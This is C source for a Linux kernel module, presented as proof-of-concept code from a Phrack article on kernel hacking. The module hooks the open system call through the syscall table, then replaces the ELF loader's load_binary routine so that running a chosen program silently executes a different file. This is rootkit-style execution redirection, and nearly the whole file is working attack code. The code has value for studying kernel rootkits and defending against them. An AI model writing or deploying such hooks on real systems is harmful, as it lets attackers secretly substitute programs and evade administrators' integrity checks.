/*
 * LICENSE:
 * this file may be copied or duplicated in any form, in
 * whole or in part, modified or not, as long as this
 * copyright notice is prepended UNMODIFIED.
 *
 * This code is proof of concept. The author can and must
 * not be made responsible for any, including but not limited
 * to, incidental or consequential damage, data loss or
 * service outage. The code is provided "AS IS" and WITHOUT
 * ANY WARRENTY. USE IT AT YOU OWN RISK.
 *
 * this is part of the Phrack (www.phrack.org) article:
 * Advances in Kernel Hacking II by palmers / teso
 */

#define __KERNEL__
#define MODULE
#define __KERNEL_SYSCALLS__
#include <linux/module.h>
#include <linux/string.h>
#include <linux/slab.h>
#include <linux/mm.h>
#include <linux/fs.h>
#include <linux/file.h>
#include <linux/unistd.h>
#include <linux/sched.h>
#include <linux/smp_lock.h>
#include <linux/binfmts.h>
#include <asm/uaccess.h>

#include "strdup.c"

extern void    *sys_call_table[];
struct linux_binfmt *elf_bin = NULL;


int             (*o_open) (char *, int);
int             (*o_load_binary) (struct linux_binprm *,
				    struct pt_regs *);


int
n_load_binary(struct linux_binprm *bin, struct pt_regs *regs)
{
    int             ret;
    if (!strcmp(bin->filename, O_REDIR_PATH)) {
	/*
	 * the trick is setting bin->file to the desired file. and something else ;)
	 */
	filp_close(bin->file, 0);
	bin->file = open_exec(N_REDIR_PATH);

	prepare_binprm(bin);
	ret = o_load_binary(bin, regs);

	return ret;
    }

    return o_load_binary(bin, regs);
}


int
n_open(char *file, int flags)
{
    int             ret = o_open(file, flags);

    if (elf_bin == NULL) {
	elf_bin = current->binfmt;

	o_load_binary = elf_bin->load_binary;
	elf_bin->load_binary = &n_load_binary;

	sys_call_table[__NR_open] = o_open;
    }
    return ret;
}


int
init_module()
{
    elf_bin = NULL;

    o_open = sys_call_table[__NR_open];
    sys_call_table[__NR_open] = &n_open;

    return 0;
}


void
cleanup_module()
{
    sys_call_table[__NR_open] = o_open;

    if (elf_bin != NULL) {
	elf_bin->load_binary = o_load_binary;
    }
}
